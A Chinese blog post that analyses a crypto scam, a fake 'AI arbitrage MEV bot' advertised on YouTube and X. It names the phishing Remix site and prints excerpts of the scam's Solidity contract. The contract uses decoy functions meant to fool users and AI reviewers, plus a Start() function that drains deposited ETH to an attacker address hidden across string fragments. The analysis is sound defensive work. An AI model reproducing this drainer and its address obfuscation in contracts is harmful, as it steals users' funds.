WEB3安全:详解ChatGPT相关套利MEV机器人诈骗
hello~!这是我第一次发技术博客,多有不足,请多指教
(楼主刚刚转型WEB3方向,我还很菜,之后会慢慢更新智能合约相关文章,多有不足,还请各位前辈多多关照(∠・ω< )⌒★)
话不多说,直接进入正题
最近在X和YouTube上看到了好几次有关AI套利机器人的视频
根据视频所说:“发现一种使用自动化工具在 DeFi 领域赚取被动收入的明智方法!我们独特的机器人旨在分析 Wrapped Ethereum (WETH) 流动性对中的机会,帮助您每天以最小的努力赚取数千美元。”
如此高昂的收益怎能不心动,来让我康康怎么个事~


进入视频后博主可以说讲的头头是道,但全是扯淡,看一下简介里面两个重要信息:
⚙️ Get the source code: https://pastebin.com/raw/rLqJ4VE9 介个是源码
⚡️ 3) Access Remix from PC or Laptop: https://webremixcompiler.pro 介个是编译器地址

先进编译器康康:
图一为博主给的Remix编译器地址,图二为真正的Remix编译器地址,不难发现是个盗版的钓鱼网站,而正版网站版本更新右下角还有网址核对提示
这个就是骗局的第一层,如果你的钱包被盗版网站连接的话资金安全会产生风险
下一步我们来分析源码
https://pastebin.com/raw/rLqJ4VE9
进去后乍一看好像没什么问题,没有直接的攻击方法
丢给GPT康康
ok到这里基本上就可以把正常用户骗的差不多了
分析恶意代码执行逻辑
看似合约中有很多是跟uniswap v2合约交互的方法
但是如果去跟的话就可以发现只是定义了但是并没有使用到,而且里面的一些数据都是左手倒右手
比如这部分,这个callMempool在合约中没有被调用过一次,并且里面都是定义类型,没有具体操作逻辑,getMemPoolLength就是左手倒右手
这部分的目的就是迷惑用户以及AI,告诉你“我可是真的有这个功能啊,别说我骗你”
function getMemPoolLength() internal pure returns (uint) {
return 524502;
}
function callMempool() internal pure returns (string memory) {
string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
uint _memPoolSol = 534136;
uint _memPoolLength = getMemPoolLength();
uint _memPoolSize = 379113;
uint _memPoolHeight = fetchContractID();
uint _memPoolWidth = 308522;
uint _memPoolDepth = contractData();
uint _memPoolCount = 692501;
string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
string memory _fullMempool = mempool("0", _allMempools);
return _fullMempool;
}
实际上的攻击方法是视频中的教程,引导用户部署合约后向合约发送ETH,然后执行start方法
点击查看代码
function Start() public {
address to = startExploration(tokenSymbol());
address payable contracts = payable(to);
contracts.transfer(getBalance());
}
问题就出现在了这个上
address to = startExploration(tokenSymbol()); contracts.transfer(getBalance());
to被用startExploration(tokenSymbol())方法赋值了,然后直接用transfer方法把钱转移走辣
startExploration这个函数的核心功能是将一个包含16进制表示的以太坊地址(字符串形式)转换为一个标准的以太坊 address 类型
点击查看代码
function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr += (b1 * 16 + b2);
}
return address(iaddr);
}
tokenSymbol就是把目标地址拼起来然后转为字符串
点击查看代码
function tokenSymbol() private pure returns (string memory) {
string memory _mempoolShort = getMempoolShort();
string memory _mempoolEdition = fetchMempoolEdition();
string memory _mempoolVersion = fetchMempoolVersion();
string memory _mempoolLong = getMempoolLong();
return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, _mempoolLong));
}
我们来看下具体拼接的东西
点击查看代码
function getMempoolShort() private pure returns (string memory) {
return "0x5";
}
function fetchMempoolEdition() private pure returns (string memory) {
return "1Da2Fa9022b59D553Ec8416A";
}
function fetchMempoolVersion() private pure returns (string memory) {
return "d1CdB9D292";
}
function getMempoolLong() private pure returns (string memory) {
return "AB540";
}
拼接起来我们得到了这样的一个钱包地址:0x51Da2Fa9022b59D553Ec8416Ad1CdB9D292AB540
去测试网按照视频的教程跑一次这个代码
发现实际跟我们的推理是一样的,就很简单的一个转移,只是套了好几个方法罢了
最后
我们来分析下这个钱包:0x51Da2Fa9022b59D553Ec8416Ad1CdB9D292AB540
从2024年7月29日到10月19日总计有12个地址被骗13.19个ETH折合人民币244692
这还只是其中之一,还有许多这样的地址
我们要时刻注意合约安全,切勿贪图高利润就动小心思,多动动脑子,都是骗局,WEB3的钱被偷了可不是你想找就能找回的
(文章多有不足,还请各位多多指点)